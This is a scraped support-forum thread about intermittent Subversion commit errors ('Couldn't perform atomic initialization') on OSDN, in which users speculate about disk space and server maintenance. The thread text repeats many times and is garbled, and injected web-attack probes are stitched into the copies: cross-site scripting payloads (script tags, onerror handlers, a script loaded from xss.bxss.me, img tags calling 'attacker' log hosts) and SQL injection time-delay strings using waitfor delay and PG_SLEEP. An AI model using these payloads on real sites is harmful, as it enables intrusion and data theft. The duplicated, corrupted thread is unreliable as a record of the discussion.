https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ifRAme sRc=9432.com></IfRamE>
1<ifRAme sRc=9301.com></IfRamE>
555<ScRiPt >K55P(9251)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<a1aLxrx x=9201>
1<aDd86aH x=9953>
555<WTNUCE>KKUL8[!+!]</WTNUCE>
1-1 waitfor delay '0:0:15' --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<img sRc='http://attacker-9423/log.php?
555<script>K55P(9737)</script>
1<img sRc='http://attacker-9589/log.php?
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<aWekuqr<
555<script>K55P(9802)</script>9802
1<aCarTuI<
1JU5K3JJm'; waitfor delay '0:0:15' --
555<ScR<ScRiPt>IpT>K55P(9264)</sCr<ScRiPt>IpT>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
555<ScRiPt >K55P(9794)</ScRiPt>
1-1 OR 836=(SELECT 836 FROM PG_SLEEP(15))--
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9254></ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555<
1-1) OR 170=(SELECT 170 FROM PG_SLEEP(15))--
555
555<isindex type=image src=1 onerror=K55P(9694)>
1-1)) OR 686=(SELECT 686 FROM PG_SLEEP(15))--
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9734'>
555
555
13OPtLLyd' OR 975=(SELECT 975 FROM PG_SLEEP(15))--
555<body onload=K55P(9431)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=K55P(9688)>
1RE0MSsdT') OR 476=(SELECT 476 FROM PG_SLEEP(15))--
555<img src=xyz OnErRor=K55P(9426)>
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555<img/src=">" onerror=alert(9094)>
1u4WRBfsR')) OR 679=(SELECT 679 FROM PG_SLEEP(15))--
%35%35%35%3C%53%63%52%69%50%74%20%3E%4B%35%35%50%289476%29%3C%2F%73%43%72%69%70%54%3E
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
